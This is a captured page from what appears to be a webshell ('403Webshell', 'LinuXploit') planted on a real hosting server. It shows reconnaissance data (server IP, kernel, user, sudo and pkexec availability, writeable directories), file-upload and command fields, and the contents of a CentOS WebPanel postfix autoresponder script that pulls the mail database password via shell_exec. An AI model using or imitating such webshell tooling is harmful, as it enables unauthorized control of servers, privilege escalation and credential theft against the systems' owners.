403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.46
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/postfix/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/postfix/vacation.php
#!/usr/local/cwp/php71/bin/php -q
<?php

// CentOS WebPanel AutoResponder script v2

function remove_empty_line($replace){
    $replace = preg_replace('/\n/', '', $replace);
    return $replace;
}

# Settings
$postfix_password = shell_exec("grep '^password' /etc/postfix/mysql-virtual_vacation.cf| awk {'print $3'}");
$postfix_password = remove_empty_line($postfix_password);

$mysql_conn_postfix = mysqli_connect("localhost", "postfix", $postfix_password, "postfix");
$mysql_postfix = mysqli_select_db($mysql_conn_postfix, "postfix") or die("Could not connect to postfix database please check configuration!");


$recepient_split = preg_split ("/@/", $argv[2]);
$recepient_split2 = preg_split ("/#/", $recepient_split[0]);
$recepient = $recepient_split2[0]."@".$recepient_split2[1];


$ck1=mysqli_query($mysql_conn_postfix,"SHOW COLUMNS FROM vacation LIKE 'start_date' ");
if ($ck1->num_rows==0){
    $query="ALTER TABLE vacation ADD COLUMN start_date datetime NOT NULL";
    $sql = $mysql_conn_postfix->query($query);
}
$ck2=mysqli_query($mysql_conn_postfix,"SHOW COLUMNS FROM vacation LIKE 'end_date' ");
if ($ck2->num_rows==0){
    $query="ALTER TABLE vacation ADD COLUMN end_date datetime NOT NULL";
    $sql = $mysql_conn_postfix->query($query);
}
$ck2=mysqli_query($mysql_conn_postfix,"SHOW COLUMNS FROM vacation LIKE 'send_date_range' ");
if ($ck2->num_rows==0){
    $query="ALTER TABLE vacation ADD COLUMN send_date_range int NOT NULL";
    $sql = $mysql_conn_postfix->query($query);
}
$ck2=mysqli_query($mysql_conn_postfix,"SHOW COLUMNS FROM vacation LIKE 'interval' ");
if ($ck2->num_rows==0){
    $query="ALTER TABLE vacation ADD COLUMN `interval` varchar(60) NULL DEFAULT '*'";
    $sql = $mysql_conn_postfix->query($query);
}
$ck2=mysqli_query($mysql_conn_postfix,"SHOW COLUMNS FROM vacation LIKE 'fromname' ");
if ($ck2->num_rows==0){
    $query="ALTER TABLE vacation ADD COLUMN fromname varchar(60) NULL";
    $sql = $mysql_conn_postfix->query($query);
}
$ck2=mysqli_query($mysql_conn_postfix,"SHOW COLUMNS FROM vacation LIKE 'charset' ");
if ($ck2->num_rows==0){
    $query="ALTER TABLE vacation ADD COLUMN charset varchar(20) NULL DEFAULT 'iso-8859-1'";
    $sql = $mysql_conn_postfix->query($query);
}
$ck2=mysqli_query($mysql_conn_postfix,"SHOW COLUMNS FROM vacation LIKE 'username' ");
if ($ck2->num_rows==0){
    $query="ALTER TABLE vacation ADD COLUMN username varchar(15) NULL";
    $sql = $mysql_conn_postfix->query($query);
}
include "/etc/postfix/vacation_class.php";
$vacation = new VacationHandler($mysql_conn_postfix);
$vacation->processReply($recepient, $argv[1]);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit